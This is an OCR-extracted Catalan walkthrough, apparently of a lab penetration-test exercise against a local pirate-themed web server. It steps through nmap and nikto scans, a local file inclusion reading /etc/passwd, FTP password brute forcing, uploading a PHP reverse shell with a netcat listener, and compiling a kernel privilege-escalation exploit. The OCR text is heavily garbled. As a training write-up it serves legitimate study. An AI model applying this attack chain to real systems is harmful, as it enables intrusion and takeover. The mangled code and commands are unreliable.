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Nmap -Pn 192.168.1.5

rcot@galileo: ~

Archive Editar Ver Buscar Terminal Avyuda
:~# nmap -Pn 192.168.1.5

at 2014-05-16 15:19 CEST

27:06:02:72 (Cadmus Computer Systems)

Mmap done: 1 IP address (1 host up) scanned in 13.35 se

=y |

Escanejem TOTS els ports, per a mes informacié

nmap -p- 192.168.1.5
~# nmap

2014-05-16 15

:02:72 (Cadmus Computer Systems)

 address (1 host up) scanned in 21.27 s

~# nmap -p

Starting Mmap 6.40 ( map.org ) at 2014-05-16 15:22 CEST




Utiltizem el software nikto (apt-get install nikto) per aconseguir mes informaci6 sobre el servidor
http

nikto -h http://192.168.1.5

naveguem per el lloc web, analitzem manualment tota 1'informacio6 possible

B (@ 19216815 v @y a &

iMost Visitedv JllOffensive Security e Kali Linux “e Kali Docs !!Exploit—DB W Aircrack-ng

Benvingut al nostre lloc web, mariner d'aigua dolga!

arrrr!ll gracies per visitar el nostre , que la forg: s mars sigui amb tu, grumet !



http://192.168.1.5/

Jonet Sparrow

Deduim que dins el codi php sota el qual corre la pagina, s'hi amaga algun tipus de funci6 de 1'estil
“include” dirigida a arxius locals del sistema operatiu

192.168.1.5 v @] [3v coogle a &

st Visitedv [l Offensive Security e, Kali Linux " Kali Docs !!Exp[oit—DB W Aircrack-ng

Benvingut al nostre lloc web, mariner
d'aigua dolca!

Tripulacid

Canviem personal.html per /etc/passwd



realitzem un atac LFI per llegir /etc/passwd aixi sabem noms d'usuari del sistema operatiu

Benvingut al nostre lloc web, mariner d'aigua dolca!

bin/sh

Utilitzem un script per generar un diccionari a partir de les paraules del lloc web

Jdict.sh http://192.168.1.5

1BEB.1.5

8.1.5. Pot tardar bastant...
ccionari...
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ild @]

LATTEMPT] .168.1.5 jspar vass "abarca" - 4 of 151 [chi
d @]

[ATTEMPT] t: 192.168.1.5 ' ispar vass "al" - 5 of 151 [child @
[ATTEMPT] target 19Z.168.1.5 ole i sparrow ass "alegre i chi
d 0]

[
[STATUS] a

d, 1 rvalid passwornd, found
finished at 2014-05



http://192.168.1.5/

Trobat's un usuari i una contrasenya valids, ens connectem al ftp

- using PASY.

balxades

Descobrim que hi ha un directori on disposem de tots els permisos necesaris per pujar arxius i
executar-los

Partint de la base de que el servidor victima, tal com hem descobert a partir del seu lloc web,
disposa de php instalat, pujarem un backdoor escrit en php, aquest script es connectara cap a la
nostre maquina i ens permetra interactuar amb el servidor

utiltizarem el script php-reverse-shell.php disponible a packetstormsecurity.com

editem els detalls corresponents

GNU nano 2.2.6 Fichero: php-reverse-shell.php

Some compile-time options are needed for daemonisation (like pcntl, posix).

ck.,
set TlmH - Limit (@) ;

S/ CHANGE THIS
ff CHANGE THIS
e = 14060;
nu11
null;

;o w; id; JbinSsh -1i';

El pujem al directori baixades via ftp



Acte seguit, escoltem conexions al port 2323 utiltizant netcat
nc -lvp 2323

Acte seguit executem el codi des del navegador web

http://192.168.1.5/baixades/php-reverse-shell.php i mantenim la finestra oberta

(
MP Fri Ap

Un cop rebuda la conexié podem veure que instantaniament ens mostra que la versio6 del kernel de
la maquina a atacar es bastant antiga. Moltes vegades podem atacar el kernel d'un sistema operatiu
per elevar els nostres privilegis a la maquina

Si busquem una mica per internet trobem:

http://www.exploit-db.com/exploits/15704/

Es un exploit, ens baixem el codi font, i el compilem a la maquina karli

gcc -w exploit.c -o exploit

olit
Consider using PASV.

2.1 kB/s)



http://www.exploit-db.com/exploits/15704/
http://192.168.1.5/baixades/php-reverse-shell.php

Llangem I'exploit que acabem de pujar al sistema

php

*
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